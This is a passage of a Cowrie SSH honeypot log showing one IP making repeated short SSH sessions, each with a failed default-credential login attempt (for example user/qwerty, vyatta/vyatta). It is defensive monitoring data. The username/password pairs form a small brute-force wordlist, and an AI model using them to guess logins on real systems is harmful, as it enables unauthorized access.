,"ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:11.606949Z","src_ip":"213.209.159.158","session":"fb0cc9df54c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluxio","password":"alluxio","message":"login attempt [alluxio/alluxio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:11.915592Z","src_ip":"213.209.159.158","session":"fb0cc9df54c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:13.033114Z","src_ip":"213.209.159.158","session":"fb0cc9df54c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48962,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e8e452e610","protocol":"ssh","message":"New connection: 213.209.159.158:48962 (10.17.0.5:22) [session: 86e8e452e610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:13.131570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:13.153828Z","src_ip":"213.209.159.158","session":"86e8e452e610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:13.280513Z","src_ip":"213.209.159.158","session":"86e8e452e610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bridge","password":"bridge123","message":"login attempt [bridge/bridge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:13.744968Z","src_ip":"213.209.159.158","session":"86e8e452e610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:14.944970Z","src_ip":"213.209.159.158","session":"86e8e452e610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48976,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6c244331eb8","protocol":"ssh","message":"New connection: 213.209.159.158:48976 (10.17.0.5:22) [session: e6c244331eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:15.024045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:15.140075Z","src_ip":"213.209.159.158","session":"e6c244331eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:15.143408Z","src_ip":"213.209.159.158","session":"e6c244331eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"bai","message":"login attempt [bai/bai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:15.731106Z","src_ip":"213.209.159.158","session":"e6c244331eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:16.816559Z","src_ip":"213.209.159.158","session":"e6c244331eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48982,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f37d8c197c","protocol":"ssh","message":"New connection: 213.209.159.158:48982 (10.17.0.5:22) [session: 39f37d8c197c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:16.895198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:16.899358Z","src_ip":"213.209.159.158","session":"39f37d8c197c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:16.980994Z","src_ip":"213.209.159.158","session":"39f37d8c197c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty","message":"login attempt [user/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:17.224813Z","src_ip":"213.209.159.158","session":"39f37d8c197c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:18.313077Z","src_ip":"213.209.159.158","session":"39f37d8c197c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48990,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0330111a4ee","protocol":"ssh","message":"New connection: 213.209.159.158:48990 (10.17.0.5:22) [session: a0330111a4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:18.395413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:18.400695Z","src_ip":"213.209.159.158","session":"a0330111a4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:18.480931Z","src_ip":"213.209.159.158","session":"a0330111a4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angelica","password":"angelica","message":"login attempt [angelica/angelica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:18.837722Z","src_ip":"213.209.159.158","session":"a0330111a4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:19.959855Z","src_ip":"213.209.159.158","session":"a0330111a4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":48994,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7636a70232e","protocol":"ssh","message":"New connection: 213.209.159.158:48994 (10.17.0.5:22) [session: a7636a70232e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:20.081665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:20.100811Z","src_ip":"213.209.159.158","session":"a7636a70232e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:20.197214Z","src_ip":"213.209.159.158","session":"a7636a70232e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"c2","password":"111111","message":"login attempt [c2/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:20.496015Z","src_ip":"213.209.159.158","session":"a7636a70232e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:21.579994Z","src_ip":"213.209.159.158","session":"a7636a70232e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43826,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba46537cef13","protocol":"ssh","message":"New connection: 213.209.159.158:43826 (10.17.0.5:22) [session: ba46537cef13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:21.658478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:21.662926Z","src_ip":"213.209.159.158","session":"ba46537cef13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:21.825821Z","src_ip":"213.209.159.158","session":"ba46537cef13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bazy","password":"bazy","message":"login attempt [bazy/bazy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:22.159251Z","src_ip":"213.209.159.158","session":"ba46537cef13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:23.243278Z","src_ip":"213.209.159.158","session":"ba46537cef13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43842,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e0c4fd62dfd","protocol":"ssh","message":"New connection: 213.209.159.158:43842 (10.17.0.5:22) [session: 3e0c4fd62dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:23.334060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:23.339764Z","src_ip":"213.209.159.158","session":"3e0c4fd62dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:23.421372Z","src_ip":"213.209.159.158","session":"3e0c4fd62dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ava","password":"ava123","message":"login attempt [ava/ava123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:23.670219Z","src_ip":"213.209.159.158","session":"3e0c4fd62dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:24.756774Z","src_ip":"213.209.159.158","session":"3e0c4fd62dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43846,"dst_ip":"10.17.0.5","dst_port":22,"session":"45e43d2a59f0","protocol":"ssh","message":"New connection: 213.209.159.158:43846 (10.17.0.5:22) [session: 45e43d2a59f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:24.835050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:24.884760Z","src_ip":"213.209.159.158","session":"45e43d2a59f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:25.002764Z","src_ip":"213.209.159.158","session":"45e43d2a59f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyatta","password":"vyatta","message":"login attempt [vyatta/vyatta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:25.386045Z","src_ip":"213.209.159.158","session":"45e43d2a59f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:26.469405Z","src_ip":"213.209.159.158","session":"45e43d2a59f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43866,"dst_ip":"10.17.0.5","dst_port":22,"session":"25797e5751ab","protocol":"ssh","message":"New connection: 213.209.159.158:43866 (10.17.0.5:22) [session: 25797e5751ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:27:26.547587Z"}
